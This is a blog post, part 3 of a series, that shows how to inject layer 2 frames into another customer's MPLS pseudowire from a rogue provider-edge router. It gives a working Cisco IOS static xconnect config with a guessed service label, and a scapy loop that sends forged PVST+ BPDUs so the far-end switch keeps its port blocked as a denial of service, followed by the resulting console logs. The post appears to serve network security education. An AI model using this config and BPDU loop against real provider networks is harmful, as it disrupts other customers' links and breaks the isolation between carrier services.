Monday 12 January 2015

Bending the MPLS Security Model - part 3 (Layer 2 Injection)

Attack 1 - layer 2 injection

Back in the days when I did solution validation and regression testing for a living, I normally had to set up full solutions in the lab, built to specific designs. I would then often need test egress QoS policies, filters and so on. To be sure that ingress QoS and filters did not invalidate the results, I had a few options:

1. Temporarily remove the ingress policies, making sure they were re-applied correctly afterwards and that nobody else tested in the mean time

2. Build a duplicate service but instead of terminating the far end on a real device, emulate everything from IGP up on a tester

3. Cheat

Option 1 is pretty risky as "temporary" easily turns into "permanent" if you're not very careful. Option 2 is a lot of work and runs the risk of compromising the design in order to inter-operate with the tester.

Given that the drawbacks of the other available options, I usually fell back on option 3. What I would do is set up the service as per design, then attach the tester somewhere in the MPLS core - basically any port that would label switch. The tester didn't need to peer any protocols at all, saving huge amounts of setup and troubleshooting time, as the packets would be hand crafted in true "dirty hack" style. All I had to do was look at the label bindings on the egress PE to work out what service label to use and on the first hop router to see what transport label needed to be used.

I'll make this example a little simpler by getting a router to do the ARP, work out the transport label and encapsulate the packets. Rest assured that it's perfectly possible to do this by hand if you don't have a real PE. We'll take a simple pseudowire service as an example. We have the following setup:



We want to make our traffic from device X come out of the PE towards LAN B, as if it had been sent through from LAN A. Two things are needed for this:

  1. The transport label that will get traffic forwarded to router B
  2. The service label that PE B expects to receive for the pseudowire
Now in my lab example, I could just log onto each of the devices and get these. The transport label to get to PE B can be found in the output of the neighbouring router's "show mpls ldp bindings" or similar, in our example we will just let the "evil" PE learn it via LDP.  The service label could be found in the bindings list for PE A or PE B, may be sniffed from live traffic if you have access to somewhere in the switching path, or can be guessed using the information in the previous post.
Anyway, we can use the evil PE to do most of the donkey work for us as far as encapsulation goes. With a fairly simple config, the PE can be made to inject into whatever service we like. Because this is a static config, the evil PE doesn't tell any other devices we are doing this.

Here's the config from the evil PE (Cisco IOS):

mpls label range 100 1048575 static 16 99
!
interface GigabitEthernet1/1
 no ip address
 xconnect 10.255.255.2 100 encapsulation mpls manual
  mpls label 99 19
  mpls control-word
!

The blue section simply reserves part of the label range for static allocation. The actual numbers aren't important but in order to build the bogus EoMPLS service we need to statically assign an incoming label (even though it will never be used). By default, IOS doesn't reserve any of the label space for static allocation and, until you do, you can't assign a manual label. In this example we designate that labels 100 - 1048575 are to be used for dynamic allocation (i.e. given out by LDP, BGP) and labels 16 - 99 are reserved for static allocation, though the actual numbers aren't important.

The red section looks very similar to a normal EoMPLS service build, except for the use of the keyword "manual" and the MPLS tweaks inside. The manual keyword does exactly what you would expect, i.e. it tells the router that this VC will not be signalled using LDP but rather the parameters are going to be manually (statically) configured. 

Once in the xconnect context we define what labels the service will use in each direction - inbound first (we don't care what this is) and then outbound (this has to match the label expected by the EoMPLS service into which we are trying to inject traffic). Remember, you may have to guess the outbound label if you don't have access to either of the serving PEs.

Finally, depending on the vendor and / or configuration of the serving PEs you may need to adjust the control-word setting. Cisco and recent Junipers default to enabled, Alcatel-Lucent and older Junipers default to disabled. 

Now, assuming the label is correct, any frames attacker "X" sends into the Evil PE will come out of the MPLS core and hit user B as if they had been sent by user A. This is unidirectional so the potential for "connecting" to anything is not really there, however there is a massive amount of harm that can be done at this point. Possible attacks range from a simple flood to spanning tree & LACP attacks, even creating IP conflicts or interfering with the operation of routing protocols.

Worked Example


Here's an example showing how an attacker can use the setup above to wreak havoc by throwing in some random PVST packets. The customer setup is as below, with a Cisco switch attached to each of the provider edge routers and a layer 2 service running between.


Note, the switches are running PVST over the link as per default. If a switch sees a BPDU marked as being from the "wrong" VLAN it will decide the port is "broken" (Cisco's terminology, not mine) and block it.

As an attacker we can use this to our advantage by sending frames for 2 different VLAN IDs towards one of the switches. That way, whatever the native VLAN ID of the receiving port is set to, at least one of the VLAN IDs will be incorrect and force the switch to block.

Here's a scruffy scapy loop to do that:

>>> import time
>>> outint='eth0'
>>> bridgemac='\x00\x00\x00\x00\x00\x01'

>>> while True:
...   sendp(Dot3(src='00:00:00:00:00:01', dst='01:80:c2:00:00:00')/LLC(dsap=170,ssap=170,ctrl=3)/Raw(load='\x00\x00\x0c\x01\x0b\x00\x00\x00\x00\x00\x80\x00'+bridgemac+'\x00\x00\x00\x00'+'\x80\x00'+bridgemac+'\x80\x01'+'\x00\x00\x14\x00\x02\x00\x0f\x00\x00'+'\x00\x00\x00\x02'+'\x00\x02'),iface=outint)
...   time.sleep(10)
...   sendp(Dot3(src='00:00:00:00:00:01', dst='01:80:c2:00:00:00')/LLC(dsap=170,ssap=170,ctrl=3)/Raw(load='\x00\x00\x0c\x01\x0b\x00\x00\x00\x00\x00\x80\x00'+bridgemac+'\x00\x00\x00\x00'+'\x80\x00'+bridgemac+'\x80\x01'+'\x00\x00\x14\x00\x02\x00\x0f\x00\x00'+'\x00\x00\x00\x02'+'\x00\x03'),iface=outint)
... 
.
Sent 1 packets.
^C

As long as the loop continues, the port will always remain down. A nice DoS that would be pretty hard to figure out, even if the console messages are quite clear (below from a single BDPU):

SW2#
*Mar  1 02:04:21.755: %SPANTREE-2-RECV_PVID_ERR: Received BPDU with inconsistent peer vlan id 3 on FastEthernet0/1 VLAN1.
*Mar  1 02:04:21.755: %SPANTREE-2-BLOCK_PVID_LOCAL: Blocking FastEthernet0/1 on VLAN1. Inconsistent local vlan.
SW2#PVST+: restarted the forward delay timer for FastEthernet0/1

SW2#
*Mar  1 02:04:36.831: %SPANTREE-2-UNBLOCK_CONSIST_PORT: Unblocking FastEthernet0/1 on VLAN1. Port consistency restored.
SW2# PVST+:Inconsistency timer expired. inconsistency 0
                 cleared for FastEthernet0/1

One bad PVST+ BPDU will generally cause the port to block for anywhere between 10 and 50s. It's extremely efficient :)

References




No comments:

Post a Comment